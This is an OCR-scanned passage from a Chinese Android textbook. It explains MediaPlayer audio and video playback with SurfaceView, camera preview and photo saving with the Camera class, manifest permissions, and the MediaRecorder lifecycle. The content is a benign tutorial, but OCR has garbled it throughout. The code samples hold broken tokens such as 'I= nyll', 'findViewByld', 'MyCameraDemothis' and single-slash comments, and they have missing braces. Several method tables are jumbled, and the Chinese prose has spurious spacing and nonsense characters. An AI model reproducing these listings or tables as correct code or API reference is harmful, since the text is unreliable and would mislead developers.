.getCurrentPosition()); /修改 拖 动 条 


} 
return null; // 返 回执 行 结 果 
} 
} 
UpdateSeekBar 类 的 主要 功能 是 完成 拖 搜 条 的 更 新 操作 ， 每 一 次 都 会 根据 播放 的 情况 自动 更 
新 拖 搜 条 的 进度 。 
private class OnSeekBarChangeListenerImpl implements OnSeekBarChangeListener { 
@Override 
public void onProgressChanged(SeekBar seekBar, 
int progress, boolean fromUser) { 


} 

@Override 

public void onStartTrackingTouch(SeekBar seekBar) { 

} 

@Override 

public void onStopTrackingTouch(SeekBar seekBar) { // 进 度 条 停止 拖 搜 
MyMediaPlayeDemo.this.myMediaPlayer.seekTo(seekBar 

.getProgress()); /定义 播放 位 置 
} 


} 
本 监听 器 的 主要 功能 是 在 用 户 拖 动 拖 搜 条 改变 进度 时 ， 改 变 MediaPlayer 播放 的 位 置 点 ， 这 
样 就 可 以 实现 播放 进度 的 改变 。 
private class PauseOncClickListenerlImpl implements OnClickListener { 
@Override 
public void onClick(View view) { 
if (MyMediaPlayeDemo.this.myMediaPlayer != null) { 
if (MyMediaPlayeDemo.this.pauseFlag) { // 为 true 表示 由 暂停 变 为 播放 
MyMediaPlayeDemo.this.myMediaPlayer.start(); /播放 文件 
MyMediaPlayeDemo.this.pauseFlag = false; /修改 标记 位 
}else{ /为 false 表示 由 播放 变 为 暂停 
MyMediaPlayeDemo.this.myMediaPlayer.pause(); /暂停 播放 
MyMediaPlayeDemo this.pauseFlag = true; /修改 标记 位 


} 
当 暂 停 播 放 音 乐 时 , 会 使 用 MediaPlayer 类 中 的 pause() 方 法 ， 而 当 用 户 再 次 单 击 “ 暂 停 ” 按 
钮 后 ， 会 继续 进行 播放 。 
private class StopOnClickListenerImpl implements OnClickListener { 
@Override 
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public void onClick(View view) { 
if (MyMediaPlayeDemo.this.myMediaPlayer I= nyll) { 
MyMediaPlayeDemo.this.myMediaPlayer.stop(); /停止 播放 
MyMediaPlayeDemo.this.info.setText(" 停 止 播放 音频 文件 .…"); 


} 
} 
当 需 要 停止 播放 音频 文件 时 ， 直 接 使 用 stop0 方 法 即 可 完成 控制 。 


10.5.2 ”播放 视频 


MediaPlayer 除了 可 以 播放 音频 之 外 ， 还 可 以 播放 视频 ， 但 是 如 果 要 播放 视频 ， 只 依靠 
MediaPlayer 是 不 够 的 ， 还 需要 编写 一 个 可 以 用 于 视频 显示 的 空间 ， 而 这 块 显 示 空 间 要 求 可 以 快 
速 地 进行 GUI 的 更 新 ， 而 且 可 以 在 泻 染 代码 时 对 GUI 进行 无 阻塞 的 泻 染 ， 如 果 要 完成 此 功能 ， 
则 必须 依靠 android.view.SurfaceView 组 件 。SurfaceView 组 件 封装 了 一 个 Surface 对 象 ， 而 不 是 

-个 Canvas 对 象 ， 使 用 Surface 可 以 完成 对 后 台 线 程 的 控制 ， 对 于 视频 、3D 图 形 等 需要 快速 更 
新 或 者 高 帧 率 的 对 象 有 很 大 的 用 处 。 
android.view.SurfaceView 类 是 View 的 子 类 ， 其 常用 方法 如 表 10-27 所 示 。 


表 10-27 SurfaceView 类 的 常用 方法 


No. 描述 
1 public SurfaceView(Context context 创建 SurfaceView 类 的 对 象 
2 public SurfaceHolder getHolderO) 取得 一 个 SurfaceHolder 类 的 对 象 


在 SurfaceView 类 中 ，getHolder() 方 法 是 最 常用 的 一 个 操作 ， 此 方法 返回 一 个 android.view. 
SurfaceHolder 接口 的 实例 化 对 象 ， 而 使 用 SurfaceHolder 接口 可 以 控制 显示 的 大 小 、 像 素 等 ， 
SurfaceHolder 类 的 常量 及 常用 方法 如 表 10-28 所 示 。 


表 10-28 SurfaceHolder 类 的 常量 及 常用 方法 


No. 常量 或 方法 描述 
i public static final int SURFACE TYPE PUSH_ 该 Surface 不 包含 原生 数据 ， 用 到 的 
BUFFERS 数据 由 其 他 对 象 提供 
2 public abstract void addCallback(SurfaceHolder. 设置 一 个 Callback 操作 
Callback callback) 


锁定 画布 ， 返 回 的 Canvas 可 以 直接 


3 public abstract Canvas lockCanvas() 进行 绘图 
J 


4 ublic abstract Canvas lockCanvas (Rect di 锁定 画布 的 某 一 个 特定 的 矩形 区 域 
5 public abstract void unlockCanvasAndPost 结束 画布 的 锁定 

(Canvas canvas) 
6 public abstract void setFixedSize(int width, int 设置 一 个 显示 的 Video 大 小 


height) 
7 | public abstract void setType(int type) 


设置 SurfaceView 类 型 
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下 面 使 用 SurfaceView 和 MediaPlayer 完成 一 个 简单 的 视频 播放 器 的 制作 ， 为 了 操作 方便 ， 
本 程序 将 采用 播放 SD 卡 中 的 视频 文件 的 形式 进行 操作 ， 播 放 的 文件 名 称 为 mldn.3gp。 
【 例 10-49】 定义 布局 管理 器 一 一 main.xml 
<?xml version="1.0" encoding="utf-8"?> 
<LinearLayout xmIns:android="http:/schemas.android.com/apKk/res/android" 


android:orientation="vertical” /所 有 组 件 垂直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
<LinearLayout /定义 线性 布局 管理 器 
xmlIns:android="http:/schemas.android.com/apK/res/android” 
android:orientation="horizonta/” /所 有 组 件 水 平 摆 放 
android:layout_width="wrap_content”" // 布 局 管理 器 宽度 为 组 件 宽度 
android:layout_height="wrap_content”> // 布 局 管理 器 高 度 为 组 件 高 度 
<ImageButton /图 片 按钮 
android:id="@+id/play” // 组 件 ID， 程 序 中 使 用 
android:layout_width="wrap_content” // 组 件 宽度 为 图 片 宽度 
android:layout_height="wrap_content” // 组 件 高 度 为 图 片 高 度 
android:src="@drawable/play" /> // 设 置 显 示 图 片 
<ImageButton // 图 片 按钮 
android:id="@+id/stop”" // 组 件 ID， 程 序 中 使 用 
android:layout_width="wrap_content” // 组 件 宽度 为 图 片 宽度 
android:layout_height= "wrap_content" // 组 件 高 度 为 图 片 高 度 
android:src="@drawable/stop" /> // 设 置 显示 图 片 
</LinearLayout> 
<SurfaceView // 定 义 SurfaceView 组 件 
android:id="@+id/surfaceView” // 组 件 ID， 程 序 中 使 用 
android:layout_width="fill_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”" /> // 组 件 高 度 为 屏幕 高 度 
</LinearLayout> 


本 程序 在 定义 组 件 时 只 定义 了 “播放 ”和 “停止 ”两 个 按钮 ， 随 后 定义 了 一 个 SurfaceView 
组 件 ， 此 组 件 可 以 进行 高 速 的 GUI 刷新， 以 达到 视频 显示 的 目的 。 
【 例 10-50】 定义 Activity 程序 ， 操 作 视 频 
package org.Ixh.demo; 
import android.app.Activity; 
import android.media.AudioManager 
import android.media.MediaPlayer; 
import android.os.Bundle; 
import android.view.SurfaceHolder; 
import android.view.SurfaceView; 
import android.view.View; 
import android.view.View.OnClickListener; 
import android.widget.ImageButton; 
public class MyVideoPlayerDemo extends Activity { 
private ImageButton play = null; 
private ImageButton stop = null; 
private MediaPlayer media = null; 
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private SurfaceView surfaceView = null; 

private SurfaceHolder surfaceHolder = null; 

@Override 

public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 
super.setContentView(R.layout.main); // 调 用 布局 文件 
this.play = (ImageButton) super.findViewByld(R.id.play); 
this.stop = (ImageButton) super.findViewByld(R.id. stop); 
this.surfaceView = (SurfaceView) super.findViewByld(R.id.surfaceView); 


this.surfaceHolder = this.surfaceView.getHolder(); 1/ 取得 SurfaceHolder 
this.surfaceHolder.setType( 

SurfaceHolder.SURFACE_TYPE_PUSH_BUFFERS);// 设 置 SurfaceView 的 类 型 
this.media = new MediaPlayer(); /创建 MediaPlayer 对 象 
try{ 

this.media.setDataSource("/sdcard/mldn.3gp"); /设置 播放 文件 的 路 径 


} catch (Exception e){ 
e.printStackTrace(); 
} 
this.play.setOnClickListener(new PlayOnClickListenerlImpl()); // 单 击 事件 
this.stop.setOnClickListener(new StopOnClickListenerImpl()); // 单 击 事件 


} 
private class PlayOnClickListenerImpl implements OnClickListener { 
@Override 
public void onClick(View arg0) { 
MyVideoPlayerDemo.this.media.setAudioStreamType( 
AudioManager. STREAM_MUSIC); /设置 音频 类 型 
MyVideoPlayerDemo.this.media.setDisplay( 
MyVideoPlayerDemo.this.surfaceHolder); // 设 置 显示 的 区 域 
try{ 
MyVideoPlayerDemo.this.media.prepare(); /预备 状态 
MyVideoPlayerDemo.this.media.start(); /播放 视频 
} catch (Exception e){ 
e.printStackTrace(); 
} 
} 
} 
private class StopOnClickListenerImpl implements OnClickListener { 
@Override 
public void onClick(View arg0) { 
MyVideoPlayerDemo this.media.stop(); /停止 播放 
} 
} 


} 

在 本 程序 中 ， 对 于 视频 播放 控制 依然 使 用 MediaPlayer 类 中 的 prepareO0 、start0 和 stop0 3 个 
方法 完成 ， 随 后 在 进行 视频 显示 时 ， 首 先 通过 SurfaceView 取得 了 一 个 SurfaceHolder 类 的 对 象 ， 
此 对 象 可 以 对 视频 显示 的 一 些 操作 进行 控制 , 之 后 再 使 用 MediaPlayer 类 中 的 setDisplay() 方 法 将 
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所 有 的 显示 操作 交 给 SurfaceView 组 件 完成 ， 本 程序 的 运行 效果 如 图 10-24 所 示 。 
= 


图 10-24 ”播放 视频 


10.6 使 用 摄像 头 拍 照 


使 用 SurfaceView 组 件 可 以 进行 音 、 视 频 文件 的 播放 ， 同 样 可 以 实现 照片 的 浏览 功能 。 在 支 
持 拍 照 的 手机 上 ， 都 会 为 用 户 提供 一 个 预览 的 屏幕 ， 显 示 当 前 摄像 头 所 采集 到 的 图 像 ， 而 这 种 
功能 可 以 利用 SurfaceView 实现 。SurfaceView 中 的 操作 核心 就 在 于 对 android.view.SurfaceHolder 
对 象 的 操作 ， 在 10.5 节 中 ， 只 是 通过 SurfaceView 取得 了 一 个 SurfaceHolder 对 象 进行 操作 ， 如 
果 要 实现 拍照 功能 ， 则 首先 必须 手工 实现 android view.SurfaceHolder.Callback 操作 接口 ， 在 此 接 


口中 定义 了 高 速 图 像 浏 览 时 的 各 个 操作 方法 ， 如 表 10-29 所 示 。 
表 10-29 SurfaceHolder.Callback 接口 中 定义 的 方法 


No. 方 ” 法 描述 


public abstract void surfaceChanged 
1 (SurfaceHolder holder, int format, int 


width, int height) 会 触发 此 操作 


当 预 览 界 面 的 格式 和 大 小 发 生 改 变 时 


public abstract void surfaceCreated 


2 当 预 览 界面 被 创建 时 会 触发 此 操作 
SurfaceHolder holder 
public abstract void surfaceDestroyed 岂 预 贤 Ai 
3 (SurfaceHolder holder) 和 和 乔 罗 关 几时 全 各 发 于 党 失 


除了 拍照 的 预览 界面 之 外 ， 重 要 的 组 成 组 件 就 是 调用 摄像 头 的 操作 类 android hardware.Camera， 


此 类 主要 负责 完成 拍照 图 片 的 参数 设置 及 保存 ， 其 常用 操作 方法 如 表 10-30 所 示 。 
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表 10-30 ”Camera 类 的 常用 操作 方法 


No. 方 ” 法 描 ” 述 
public final void autoFocus (Camera. 

1 AutoFocusCallback cb | 自动 对 焦 

public final void cancelAutoFocus 取消 自动 对 焦 

3 public static int getNumberOfCameras0) 得 到 摄像 头 的 个 数 

4 public Camera.Parameters getParameters() 得 到 摄像 头 的 各 个 参数 

5 public final void lock0 锁定 设备 

6 public static Camera open(int camerald) 打开 指定 的 摄像 头 , 以 获得 Camera 对 象 

和 public static Camera open() 打开 默认 的 摄像 头 

8 | public final void reconnectO 重新 连接 摄像 头 

9 public final void release! 释放 摄像 头 资源 

10 public void setParameters(Camera.Parameters 设置 摄像 头 的 若干 参数 
params, 

11 ublic final void startPreview' 普 i 开始 预览 

12 | public final void stopPreview0) 停止 预览 
public final void takePicture(Camera. | 

13 | ShutterCallback shutter, Camera.PictureCallback 普 i 捕获 图 像 
raw, Camera.PictureCallback jpeg) 

14 | public final void unlockt 设备 解除 锁定 

15 | Public final void setZoomChangeListener 普通 显示 区 域 发 生 改变 时 触发 
Camera.OnZoomChangeListener listener 

16 void setDisplayOrientation(int 普通 设置 摄像 头角 度 


另外 ， 通 过 DOC 文档 查询 可 以 发 现 ， 实 际 上 在 android.hardware.Camera 类 中 也 定义 了 若干 
个 内 部 接口 ， 这 些 内 部 接口 的 作用 如 表 10-31 所 示 。 


表 10-31 Camera 类 中 定义 的 内 部 接口 


No. 接口 名 称 描 


述 


1 | android.hardware.Camera.AutoFocusCallback 自动 对 焦 的 回调 操作 

2 “| android hardware Camera ErrorCallback 错误 出 现时 的 回调 操作 

3 android.hardware.Camera.OnZoomChangeListener 显示 区 域 改变 时 的 回调 操作 
4 android.hardware.Camera.PictureCallback 图 片 生成 时 的 回调 操作 

5 | android.hardware.Camera.PreviewCallback 预览 时 的 回调 操作 

6 


android.hardware.Camera. ShutterCallback 按 下 快门 后 的 回调 操作 


表 10-31 所 示 的 6 个 回调 接口 中 都 有 各 自 的 回调 方法 ， 有 需要 的 读者 可 以 通过 DOC 文档 进 


行 查询 ， 本 书 不 再 重复 列 出 。 掌 握 了 以 上 基本 概念 之 后 ， 下 面 讲解 如 何 使 用 手机 摄像 头 完成 照 


片 拍摄 的 操作 。 
-提示 
本 程序 需要 手机 支持 。 


在 Android 提供 的 模拟 器 上 , 由 于 不 存在 摄像 设备 , 所 以 要 想 正确 地 完成 本 程序 的 使 用 ， 
必须 在 Android 手机 上 运行 。 
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【 例 10-51】 定义 布局 管理 器 一 一 main.xml 
<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout /定义 线性 布局 管理 器 
xmlIns:android="http:/schemas.android.com/apK/res/android" 
android:orientation="vertical” /所 有 组 件 垂直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
<Button /按钮 组 件 

android:id="@+id/but” // 组 件 ID， 程 序 中 使 用 
android:layout_width="fill_parent”" // 组 件 宽度 为 屏幕 宽度 
android:layout_height="wrap_content” // 组 件 高 度 为 文字 高 度 
android:text=" 镶 浆 " /> // 默 认 显示 文字 
<SurfaceView /定义 SurfaceView 
android:id="@+id/surface” // 组 件 ID， 程 序 中 使 用 
android:layout_width="fill_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height= "wrap_content"/> // 组 件 高 度 为 自身 高 度 
</LinearLayout> 


在 本 布局 管理 器 中 ,只 是 定义 了 一 个 按钮 组 件 和 一 个 SurfaceView 组 件 ， 其 中 按钮 组 件 的 功 
能 是 负责 在 对 焦 之 后 生成 图 片 ， 而 SurfaceView 的 功能 是 用 于 摄像 头 浏览 。 
【 例 10-52】 定义 Activity 程序 ， 操 作 摄像 头 〈 分 段 列 出 ) 
package org.Ixh.demo; 
import java.io.BufferedOutputStream; 
import java.io.File; 
import java.io.FileOutputStream; 
import java.io.IOException; 
import android.app.Activity; 
import android.content.Context; 
import android.graphics.Bitmap; 
import android.graphics.BitmapFactory; 
import android.graphics.PixelFormat'; 
import android.hardware.Camera; 
import android.hardware.Camera.AutoFocusCallback; 
import android.hardware.Camera.Parameters; 
import android.hardware.Camera.PictureCallback; 
import android.hardware.Camera.ShutterCallback; 
import android.os.Bundle; 
import android.os.Environment'; 
import android.view.Display; 
import android.view.SurfaceHolder 
import android.view.SurfaceView; 
import android.view.View; 
import android.view.View.OnClickListener; 
import android.view.Window: 
import android.view.WindowManager; 
import android.widget.Button; 
import android.widget. Toast; 
public class MyCameraDemo extends Activity { 
private SurfaceHolder holder = null; l/SurfaceHolder 
private SurfaceView surface = null; liSurfaceView 
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private Camera cam = null; // 拍 照 组 件 
private Button but = null; // 按 钮 组 件 
private boolean previewRunning = true; 1/ 预览 结束 的 标记 


在 本 程序 中 首先 定义 了 以 下 几 个 类 属性 。 


同 回 网 加 


SurfaceHolder holder: 主要 用 来 设置 图 片 的 类 型 、 分 辨 率 等 参数 以 及 指定 SurfaceHolder. 
Callback。 

SurfaceView surface: 主要 用 于 取得 SurfaceHolder 对 象 。 

Camera cam: 负责 具体 的 拍照 操作 。 

Button but: 操作 按钮 ， 当 用 户 单 击 按钮 之 后 可 以 进行 图 像 的 拍摄 。 

boolean previewRunning: 保存 现在 是 否 是 预览 状态 。 


@Override 
public void onCreate(Bundle savedInstanceState) { 


super.onCreate(savedInstanceState); 


super.requestWindowFeature(Window.FEATURE_NO_TITLE); // 不 显示 标题 
Super.getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEAN, 
WindowManager.LayoutParams.FLAG_FULLSCREEN); // 全 屏 显示 


super.getWindow().addFlags( 
WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON); // 高 亮 显示 


super.setContentView(R.layout.main); // 布 局 管理 器 
this.but = (Button) super.findViewByld(R.id.but); // 取 得 组 件 
this.surface = (SurfaceView) findViewByld(R.id.surface); // 取 得 组 件 
this.holder = surface.getHolder(); // 设 置 Holder 


this.holder.addCallback(new MySurfaceViewCallback()); // 加 入 回调 
this.holder.setType(SurfaceHolder.SURFACE_TYPE_PUSH_BUFFERS);// 设 置 缓冲 类 型 
this.holder.setFixedSize(500, 350); // 设 置 分 辩 率 
this.but.setOnClickListener(new OnClickListenerImpl()); // 单 击 事件 


| 

在 程序 的 onCreate() 方 法 中 ， 首 先 对 屏幕 的 显示 属性 进行 配置 〈 不 显示 标题 、 屏 幕 高 亮 显 示 
等 ) ， 而 后 依次 取得 各 个 组 件 ， 并 通过 SurfaceView 组 件 取得 一 个 SurfaceHolder 对 象 ， 通 过 该 
对 象 设 置 图 片 的 分 辨 率 以 及 要 操作 的 SurfaceHolder.Callback 接口 的 子 类 实例 对 象 。 

/接口 SurfaceHolder.Callback 被 用 来 接收 摄像 头 预览 界面 变化 的 信息 

private class MySurfaceViewCallback implements SurfaceHolder.Callback { 


public void surfaceChanged(SurfaceHolder holder, int format, int width， 
int height) { // 当 预览 界面 的 格式 和 大 小 发 生 改变 时 ， 该 方法 被 调用 


) 

public void surfaceCreated(SurfaceHolder holder) { // 初 次 实例 化 预览 界面 调用 
MyCameraDemo.this.cam = Camera.open(0); // 取 得 摄像 头 
WindowManager manager = (WindowManager) MyCameraDemo.this 

.getSystemService(Context.WINDOW_SERVICE); // 取 得 窗口 服务 

Display display = manager.getDefaultDisplay(); // 取 得 Display 对 象 
Parameters param = MyCameraDemothis.cam.getParameters(); /取得 照相 机 参数 
param.setPreviewSize(display.getWidth(), display.getHeight()); /设置 预览 大 小 


param.setPreviewFrameRate(5); // 每 秒 显示 5 帧 的 数据 
param.setPictureFormat(PixelFormat.JPEG); // 设 置 图 片 格式 
param.set("jpeg-quality", 85); // 设 置 图 片 质量 ， 最 高 为 100 
MyCameraDemo.this.cam.setParameters(param); // 设 置 参数 

try{ // 通 过 SurfaceView 显示 


MyCameraDemo.this.cam 
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.SetPreviewDisplay(MyCameraDemo.this.holder); 
} catch (IOException e) { 


e.printStackTrace(); 
} 
MyCameraDemo.this.cam.startPreview(); // 开 始 预览 
MyCameraDemo.this.previewRunning = true; /修改 预览 标记 


} 
public void surfaceDestroyed(SurfaceHolder holder) { ”// 当 预览 界面 被 关闭 时 方法 被 调用 
if (MyCameraDemo.this.cam != nyll) { 
if (MyCameraDemo.this.previewRunning) { // 如 果 正 在 预览 
MyCameraDemo.this.cam.stopPreview(); 1/ 停止 预览 
MyCameraDemo.this.previewRunning = false; // 修 改 标记 


1 
// 摄 像 头 只 能 被 一 个 Activity 程序 使 用 ， 所 以 要 释放 摄像 头 
MyCameraDemo.this.cam.release(); // 释 放 摄 像 头 


} 
} 


| 
本 内 部 类 是 实现 图 像 预览 的 关键 程序 ,本 程序 的 主要 功能 是 在 预览 界面 创建 时 (surfaceCreatedO ) 
进行 要 拍照 保存 图 片 的 若干 参数 配置 ， 并 且 在 预览 结束 时 释放 摄像 头 ， 但 是 需要 注意 的 是 ， 本 
程序 取得 摄像 对 象 Camera) 的 方法 是 Camera.open(0)， 如 果 要 使 用 其 他 摄像 头 ， 可 以 使 用 与 
Camera.open(1) 类 似 的 操作 完成 。 在 open() 方 法 中 ， 每 一 个 编号 表示 不 同 的 摄像 头 编号 。 
private PictureCallback jpgcall = new PictureCallback() { 
public void onPictureTaken(byte[] data, Camera camera) { 


try{ 

Bitmap bmp = BitmapFactory 

.decodeByteArray(data, 0, data.length); /定义 BitMap 
String fileName = Environment.getExternalStorageDirectory() 

.toString() 

+ File.separator 

+ "mldnphoto” 

+ File.separator 

+ "MLDN_" 

+ System.currentTimeMillis() 

+ "jpg"; // 输 出 文件 名 称 
File file = new File(fileName); /定义 File 对 象 
if (ifile.getParentFile().exists()) { // 父 文件 夹 不 存在 

file.getParentFile().mkdirs(); // 创 建 父 文件 夹 

} 
BufferedOutputStream bos = new BufferedOutputStream( 

new FileOutputStream(file)); // 使 用 字 节 缓存 流 
bmp.compress(Bitmap.CompressFormat.JPEG, 80, bos); // 图 片 压缩 
bos.flush(); /清空 缓冲 
bos.close(); // 关 闭 


Toast.makeText(MyCameraDemo.this, 
"拍照 成 功 ， 照 片 已 保存 在 " + fileName + "文件 之 中 ", Toast.LENGTH_ 


SHORT) 
-Show(); /显示 Toast 
MyCameraDemo .this.cam_.stopPreview(); /停止 预览 
MyCameraDemo.this.cam.startPreview!(); /开始 预览 
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} catch (Exception e) { 
} 
1 


本 程序 是 android.hardware.Camera.PictureCallback 接口 的 实现 子 类 ,为 了 操作 方便 ， 直 接 采 用 
匿名 内 部 类 的 形式 完成 ， 当 用 户 调用 Camera 类 中 的 takePicture0 方 法 时 ， 会 自动 回调 此 操作 ， 而 此 
操作 的 主要 功能 是 使 用 BitMap 以 及 BufferedOutputStream 完成 图 片 的 保存 操作 ， 并 且 重 新 启动 摄像 
头 的 预览 功能 ( 先 调用 cam.stopPreview() 方 法 , 再 调用 cam.startPreview0 方 法 完成 重新 启动 预览 )。 

private class OnClickListenerImpl implements OnClickListener { 
public void onClick(View v) { 
if (MyCameraDemo.this.cam != nuyll) { /存在 Camera 对 象 
MyCameraDemo.this.cam.autoFocus(new AutoFocusCallbacklmpl());/ 自 动 对 焦 


| 
} 
} 
private class AutoFocusCallbacklImpl implements AutoFocusCallback { 
public void onAutoFocus(boolean success, Camera cam) { 


if (success) { // 如 果 对 焦 成 功 
MyCameraDemo.this.cam.takePicture(sc, pc, jpgcall); /获取 图 片 
MyCameraDemo.this.cam.stopPreview(); /停止 预 览 

1 

} 

} 

private ShutterCallback sc = new ShutterCallback() { 
public void onShutter() { 

// 按 下 快门 后 的 回调 函数 

} 


} 
private PictureCallback pc = new PictureCallback() { 
public void onPictureTaken(byte[] arg0, Camera arg1) { 
// 保 存 的 源 图 片 数据 
} 
上 


} 
本 程序 的 最 后 几 个 事件 监听 操作 比较 简单 ， 其 功能 介绍 如 下 。 
OnClickListenerImpl: 按 下 按钮 并 自动 对 焦 , 对 焦 之 后 将 调用 Camera.AutoFocusCallback 
操作 。 
回 AutoFocusCallbackImpl: 自动 对 焦 回 调 操作 ， 在 本 类 中 完成 图 片 的 拍照 操作 。 
回 ShutterCallback: 功能 性 说 明 ， 如 果 有 需要 则 可 以 在 此 部 分 编写 代码 。 
回 PictureCallback: 进行 RAW 文件 〈 一 种 原始 的 图 像 文 件 ) 的 操作 ， 如 果 有 需要 则 可 以 
在 此 部 分 编写 代码 。 
/提示 
关于 RAW 文件 。 
RAW 属于 未 加 工 的 图 片 格式 ， 表 示 直 接 从 CMOS 或 CCD 捕获 到 的 光源 图 片 信号 转化 
为 数字 信号 的 原始 数据 ， 爱 好 摄影 的 读者 应 该 对 此 深 有 体会 ,使 用 RAW 可 以 进行 图 像 的 后 
期 加 工 ， 如 调整 曝光 度 等 。 
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另外 , 由 于 本 程序 要 进行 设备 调用 以 及 存储 卡 的 信息 保存 , 所 以 还 需要 在 AndroidManifestxml 
文件 中 进行 相应 的 配置 操作 。 
【 例 10-53】 配置 AndroidManifestxml 文件 
<?xml version="1.0" encoding="utf-8"?> 
<manifest xmIns:android="http://schemas.android.com/apK/res/android" 


package="org.lxh.demo” // 定 义 包 名 称 
android:versionCode="1" // 程 序 的 版 本 编号 
android:versionName="1.0"> // 程 序 的 版 本 名 称 
<uses-sdk android:minSdkVersion="10" /> // 最 低 运 行 级 
<application // 配 置 应 用 程序 
android:icon="@drawable/icon" android:label="@string/app_name"> 
<activity /定义 Activity 
android:name=".MyCameraDemo” // 程 序 类 名 称 
android:label="@string/app_name” // 程 序 标签 名 称 
android:screenOrientation="landscape”> // 默 认为 横 屏 显示 
<intent-filter> // 程 序 运 行 时 默认 启动 


<action android:name="android.intent.action.MAIN" /> 
<category android:name="android.intent.category.LAUNCHER" /> 
</intent-filter> 


</activity> 

</application> 

<uses-feature // 调 用 摄像 头 功能 
android:name="android.hardware.camera" /> 

<uses-feature // 调 用 自动 对 焦 功能 
android:name="android.hardware.camera.autofocus" /> 

<uses-permission /设置 允许 拍照 的 权限 
android:name="android.permission.CAMERA" /> 

<uses-permission //SD 卡 创建 与 删除 文件 权限 
android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/> 

<uses-permission // 配 置 SD 卡 权限 
android:name="android.permission.WRITE_EXTERNAL_STORAGE"/> 

</manifest> 


由 于 在 Android 中 实现 摄像 头 功能 属于 程序 的 额外 功能 , 所 以 首先 使 用 <uses-feature> 节 点 配 
置 了 所 需要 的 操作 功能 ， 而 后 又 配置 了 所 有 相关 的 访问 控制 权限 。 本 程序 的 运行 需要 硬件 的 支 
持 ， 读 者 可 以 在 手机 上 自行 验证 。 


10.7 媒体 录制 


在 Android 中 提供 了 负责 进行 媒体 文件 播放 的 MediaPlayer 类 ， 同 样 也 提供 了 另外 一 个 用 于 
进行 媒体 录制 的 android.media.MediaRecorder 类 ， 此 类 可 以 实现 音频 和 视频 文件 的 录制 操作 ， 
MediaRecorder 类 所 定义 的 常用 方法 如 表 10-32 所 示 。 

表 10-32 MediaRecorder 类 的 常用 操作 方法 
方 ” 法 描 ” 述 
public MediaRecorderO 定义 一 个 默认 的 MediaRecorder 对 象 
public static final int getAudioSourceMax0) 得 到 最 大 音量 
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续 表 


Neo| 方法 | 类型 描述 


4 public void releasel 普 各 资源 

5 public void reset(O) 重 置 设备 

6 public void setAudioEncoder(int audio encoder) 普 设置 音频 编码 

7 public void setAudioSource(int audio source) 普 设置 音频 源 

8 public void setCamera(Camera c 普 ii 设置 Camera 对 象 
9 public void setOutputFile(String path) 普 设置 输出 文件 
10 | public void setPreviewDisplay(Surface sv) 普 j 设置 预览 显示 
11 | public void setVideoEncoder(int video_encoder) 普 i 设置 视频 编码 
12 | public void setVideoFrameRate(int rate) 普 ii 设置 视频 帧 率 
13 | public void setVideoSize(int width, int height) 普 j 设置 视频 分 辨 率 
14 | public void setVideoSource(int video source) 和 设置 视频 源 

15 开始 录制 

16 | 停止 录制 


通过 表 10-32 列 出 的 方法 可 以 发 现 ， 在 MediaRecorder 类 中 除了 有 音频 录制 之 外 ， 也 可 以 实 
现 视频 录制 的 功能 ， 但 是 需要 注意 的 是 ，MediaRecorder 和 MediaPlayer 类 一 样 ， 有 自己 完整 的 
生命 周期 ， 如 图 10-25 所 示 。 


setAudioSource[)/ 
setVideoSource[) 


setAudiosourcel)/ 
setVideoSource() 


reset()/ 
stopl) 


reset() 


setAudioSource() 
setVideoSource[) 
setOutputFile() 
setVideoSize() 
setVideoFrameRate[) 


setPreviewDisplay 
preparel) 


图 10-25 MediaRecorder 类 的 生命 周期 


MediaRecorder 的 生命 周期 包括 以 下 几 种 状态 。 
(1) Initial 状态 


当 用 户 通过 MediaRecorder 类 的 构造 方法 实例 化 MediaRecorder 类 对 象 时 将 处 于 初始 化 状 
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态 , 即便 此 时 没有 任何 操作 , MediaRecorder 也 会 占用 系统 资源 , 而 所 有 的 状态 都 可 以 通过 reset() 
方法 返回 到 此 状态 。 
(2) Initialized 状态 
当 用 户 使 用 setAudioSource0 或 setVideoSource() 方 法 后 将 进入 音频 录制 或 视频 录制 状态 ,并 
可 以 指定 一 些 音频 或 视频 的 文件 属性 ， 设 置 完成 后 将 进入 DataSourceConfigured 状态 。 
(3) Prepared 状态 
就 绪 状 态 。 当 用 户 使 用 MediaRecorder 类 中 的 prepare0 方 法 时 将 进入 就 绪 状 态 ， 表示 录制 前 
的 状态 已 经 准备 就 绪 。 
(4) Recording 状态 
录制 状态 。 当 用 户 使 用 MediaRecorder 类 中 的 start(0 方 法 时 将 进入 录制 状态 ， 并 且 一 直 持续 
到 录音 或 录像 操作 完毕 。 


10.7.1 录制 音频 


下 面 使 用 MediaRecorder 类 完成 一 个 音频 录制 及 播放 的 程序 。 在 本 程序 的 界面 中 , 提供 了 音 
频 录制 以 及 录音 文件 的 列表 操作 (ListView 实现 ) ,用 户 可 以 直接 通过 列表 项 调用 Android 手机 
内 部 的 Intent 完成 音频 的 播放 操作 。 
【 例 10-54】 定义 列表 显示 布局 管理 器 一 一 recordfiles.xml 
<?xml version="1.0" encoding="utf-8"?> 


<TableLayout /| 定义 表格 布局 管理 器 
xmlins:android="http:/schemas.android.com/apk/res/android" 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="wrap_content> // 布 局 管理 器 高 度 为 包含 组 件 高 度 
<TableRow> /定义 表格 行 

<ImageView // 图 片 显示 组 件 
android:id="@+id/icon" // 组 件 ID， 程 序 中 使 用 
android:layout_height="wrap_content”" // 组 件 高 度 为 图 片 高 度 
android:layout_width="wrap_content” // 组 件 宽度 为 图 片 宽度 
android:src="@drawable/file_icon"/> // 默 认 显示 图 片 

<TextView // 文 本 显示 组 件 
android:id="@+id/filename” // 组 件 ID， 程 序 中 使 用 
android:textSize="16px" /文字 显示 大 小 
android:layout_height="wrap_content”" // 组 件 高 度 为 文字 高 度 
android:layout_width="wrap_content"/> // 组 件 宽度 为 文字 宽度 

</TableRow> 

</TableLayout> 


【 例 10-55】 定义 布局 管理 器 一 一 main.xml 
